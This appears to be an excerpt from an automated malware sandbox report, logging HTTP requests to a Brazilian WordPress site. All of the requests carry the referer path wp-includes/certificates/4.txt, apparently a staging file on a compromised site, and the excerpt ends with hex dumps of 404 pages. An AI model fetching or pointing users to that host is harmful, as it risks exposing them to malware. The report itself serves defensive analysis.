Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:48:39 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:48:44 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 08:48:44 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
